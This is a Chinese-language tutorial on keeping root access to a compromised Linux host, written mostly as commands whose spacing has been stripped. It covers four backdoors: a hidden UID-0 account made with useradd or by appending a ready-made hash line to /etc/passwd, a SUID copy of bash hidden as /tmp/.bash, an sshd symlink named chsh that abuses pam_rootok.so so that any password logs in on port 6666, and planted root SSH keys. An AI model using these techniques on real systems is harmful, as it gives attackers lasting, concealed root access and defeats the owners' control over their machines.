方法一.特权账号原理就是在系统添加一个root账号Linux的账号信息在/etc/passwd文件里面并且所有人可访问但是密码在/etc/shadow文件里面只有root可访问。/etc/passwd 字段格式格式用户名:密码占位符x:UID:GID:注释信息:家目录:登录ShellUIDUser ID用户 ID作用Linux 内核识别用户的数字编号用户名只是给人看的系统真正认 UID。root 的 UID0唯一超级用户拥有系统全部权限。1‑999系统内置账号daemon、bin 等给后台服务使用一般不允许登录。≥1000普通新建用户。GIDGroup ID组 ID作用用户所属主用户组的数字 ID。创建用户时默认会生成一个同名组GID 对应这个组。多个用户可以属于同一个组用来控制文件 / 目录的组权限rwx 组权限位。格式用户名:加密密码:最后一次改密码日期:最小间隔:最大间隔:警告天数:过期宽限:失效日期:保留注加密密码字段!账号被锁定禁止密码登录*系统账号无有效密码禁止登录$6$xxxxSHA‑512 加密的真实密码哈希最后改密码的天数从 1970‑01‑01 算起的天数我们添加用户直接用useradd命令正常添加用户 useradd 用户名 就行但是添加后的用户没有密码需要passwd命令手动设置但是shell一般无法做交互式的事情所以不能成功执行passwd所以无法ssh这时候就要用到-p参数。-p参数后面要加加密后的密码加密后的密码用openssl命令生成注里面的字符会被当做命令执行opensslpasswd-1-saltsalt123456-1使用 MD5‑crypt 算法加密shadow 里旧版1哈希-salt ‘salt’手动指定盐值为字符串salt123456是待加密明文密码盐 (salt) 核心作用防止彩虹表破解如果没有盐相同密码123456永远输出同一个哈希攻击者提前算好彩虹表直接查表爆破。加盐之后同样密码不同盐得到完全不一样的哈希盐会写入加密的密码前面接下来我们就可以以这个命令生成一个特权用户但是要在root权限生成。# 创建一个用户名guest密码123456的root用户useradd-popensslpasswd-1-saltsalt123456guest-o-u0-groot-Groot-s/bin/bash-d/home/test或者另一种方法直接把构造好的这个东西直接追加到passwd文件中这样就不用管shadow文件了test:$1$test$XazGnbtBRMhBkmTPV1qav/:0:0::/root:/bin/bash二.SUID权限维持SUID 介绍SUID 是一种特殊权限设置了 suid 的程序文件在用户执行该程序时用户的权限是该程序文件属主的权限例如程序文件的属主是 root那么执行该程序的用户就将暂时获得 root 账户的权限。sgid 与 suid 类似只是执行程序时获得的是文件属组的权限。注意以下几点1.只有可以执行的二进制程序文件才能设定 SUID 权限非二进制文件设置 SUID 权限没任何意义。2.命令执行者要对该程序文件拥有执行 (x) 权限。3.命令执行者在执行该程序时获得该程序文件属主的身份。4.SUID 权限只在该程序执行过程中有效也就是说身份改变只在程序执行过程中有效。第一步首先要找到bash文件whereisbash找到bash文件后复制一份出来cp/usr/bin/bash /tmp/.bash然后给加上s权限chmods /tmp/.bash 或chmod4755/tmp/.bash接下来就可以使用这个bash以root身份运行/tmp/.bash-p注意有的系统默认tmp是会忽略所有带s的参数以防suid攻击可以把后门放在其他目录例如home可以使用mount命令查看例如里面tmp目录就有nosuid所有不能再这个目录使用这个维持方法三.pam软链接维权注意1.可复现万能密码PAM 劫持生效OpenSSH ≤9.3p12.而且如果时centos系统需要修改/etc/selinux/config文件中的SELINUX“” 为 disabled3.如果依旧失败记得查看防火墙是不是开了ssh-V软链接一种特殊文件相当于快捷方式里面保存另一个文件的路径。访问软链接就等价访问源文件执行软链接时系统拿到的启动文件名是链接自身名字而非源程序。源文件删除后软链接失效。PAMLinux 的统一认证框架负责登录、权限校验。程序运行时根据调用的程序文件名加载 /etc/pam.d/ 下同名配置文件调用各类认证模块。pam_rootok.so是其中模块进程为 root 用户时直接认证通过跳过密码验证。1.我们通过建立一个ssh的后门首先需要看一下ssh是否使用pam模块验证默认支持ls/etc/pam.d然后看一下ssh是否启用了pamcat/etc/ssh/sshd_config|grepUsePAM 2.看一下哪些模块支持pam_rootok.sofind/etc/pam.d|xargsgreppam_rootok.so#xargs命令是把管道前面的每行结果当参数给xargs后面的命令3.例如上面的chsh支持pam_rootok.so模块ln-sf/usr/sbin/sshd /tmp/chsh;/tmp/chsh-oPort6666注意这里解释一下ln -sf /usr/sbin/sshd /tmp/chsh这行命令就是创建一个叫chsh的快捷方式而不是把chsh复制过去。因为pam在运行时会依据文件名来选择同名配置文件。使用叫chsh的文件名pam就会调用他的配置文件而chsh的配置文件支持pam_rootok.so模块。即只要以root身份去ssh那么建立进程的用户就是root而pam_rootok.so模块检测到root就直接验证成功不需要再验证密码了所以会直接成功登录。4.此时后门就建立了sshroot192.168.85.135-p6666密码验证时无论输入什么都成功不能直接回车必须随便输入点什么四.利用公私钥实现ssh维权1.步骤1在本地生成SSH密钥对在主机A上打开终端输入以下命令ssh-keygen-trsa在提示输入密钥密码时直接回车2.修改ssh配置文件vim/etc/ssh/sshd_config这三个权限一定要打开很多设置默认是注释掉的需要去掉注释打开权限PubkeyAuthentication yes // 授权公钥登录AuthorizedKeysFile .ssh/authorized_keys // 授权文件路径PasswordAuthentication yes // 密码授权PermitRootLogin yes /允许root进行ssh登录3.把公钥放到被控主机执行命令放入ssh-copy-id usernameserver_ip或者进入/root/.ssh手动放入公钥放入后必须改名为authorized_keys4.放入后就可以ssh了****